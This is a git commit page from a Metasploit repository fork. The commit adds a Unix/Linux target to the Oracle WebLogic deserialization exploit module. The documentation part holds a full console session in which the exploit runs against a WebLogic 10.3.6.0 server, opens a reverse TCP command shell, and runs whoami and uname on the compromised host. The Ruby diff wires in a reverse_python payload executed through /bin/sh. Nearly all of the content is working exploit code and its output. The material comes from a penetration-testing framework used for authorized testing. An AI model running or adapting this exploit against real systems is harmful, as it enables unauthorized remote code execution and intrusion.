adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add linux target to weblogic_deserialize module

Browse Source
This commit is contained in:
Jacob Robles
2018-08-28 11:04:22 -05:00
parent 12e9cf6af7
commit 49c5a91fa7
2 changed files with 57 additions and 6 deletions
Download Patch File Download Diff File Expand all files Collapse all files
documentation/modules/exploit/windows/misc/weblogic_deserialize.md
+36
View File
@@ -45,3 +45,39 @@ Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
### Tested on Ubuntu 14.04 LTS x64 running Oracle Weblogic Server 10.3.6.0 on Sun SDK 1.6.0_29
```
msf5 > use exploit/windows/misc/weblogic_deserialize
msf5 exploit(windows/misc/weblogic_deserialize) > set rhosts 172.22.222.205
rhosts => 172.22.222.205
msf5 exploit(windows/misc/weblogic_deserialize) > set lhost 172.22.222.197
lhost => 172.22.222.197
msf5 exploit(windows/misc/weblogic_deserialize) > set srvhost 172.22.222.197
srvhost => 172.22.222.197
msf5 exploit(windows/misc/weblogic_deserialize) > set verbose true
verbose => true
msf5 exploit(windows/misc/weblogic_deserialize) > check
[+] 172.22.222.205:7001 - Detected Oracle WebLogic Server Version: 10.3.6.0
[*] 172.22.222.205:7001 The target appears to be vulnerable.
msf5 exploit(windows/misc/weblogic_deserialize) > run
[*] Exploit running as background job 2.
msf5 exploit(windows/misc/weblogic_deserialize) >
[*] Started reverse TCP handler on 172.22.222.197:4444
[*] 172.22.222.205:7001 - Sending handshake...
[*] 172.22.222.205:7001 - Sending client object payload...
[*] 172.22.222.205:7001 - Comparing host: 172.22.222.205
[*] 172.22.222.205:7001 - Sending payload to client: 172.22.222.205
[*] 172.22.222.205:7001 - Comparing host: 172.22.222.205
[*] Command shell session 1 opened (172.22.222.197:4444 -> 172.22.222.205:35904) at 2018-08-28 10:59:20 -0500
[*] 172.22.222.205:7001 - Server stopped.
msf5 exploit(windows/misc/weblogic_deserialize) >
sessions -i 1
[*] Starting interaction with 1...
whoami
msfdev
uname -a
Linux ubuntu 4.4.0-134-generic #160~14.04.1-Ubuntu SMP Fri Aug 17 11:07:07 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
modules/exploits/windows/misc/weblogic_deserialize.rb
+21 -6
View File
@@ -34,10 +34,18 @@ class MetasploitModule < Msf::Exploit::Remote
'Privileged' => false,
'Targets' =>
[
[ 'Windows',
{
'Platform' => ['win']
[ 'Unix',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
'Payload' => {
'Encoder' => 'cmd/ifs',
'BadChars' => ' ',
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}
}
],
[ 'Windows',
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
]
],
'DefaultTarget' => 0,
@@ -81,9 +89,16 @@ class MetasploitModule < Msf::Exploit::Remote
end
def gen_resp
pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
pwrshl.gsub!("%COMSPEC%", "cmd.exe")
tmp_dat = pwrshl.each_byte.map {|b| b.to_s(16)}.join
if target.name == 'Windows'
pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
pwrshl.gsub!("%COMSPEC%", "cmd.exe")
tmp_dat = pwrshl.each_byte.map {|b| b.to_s(16)}.join
else
nix_cmd = payload.encoded
nix_cmd.prepend('/bin/sh -c ')
tmp_dat = nix_cmd.each_byte.map {|b| b.to_s(16)}.join
end
mycmd = (tmp_dat.length >> 1).to_s(16).rjust(4,'0')
mycmd << tmp_dat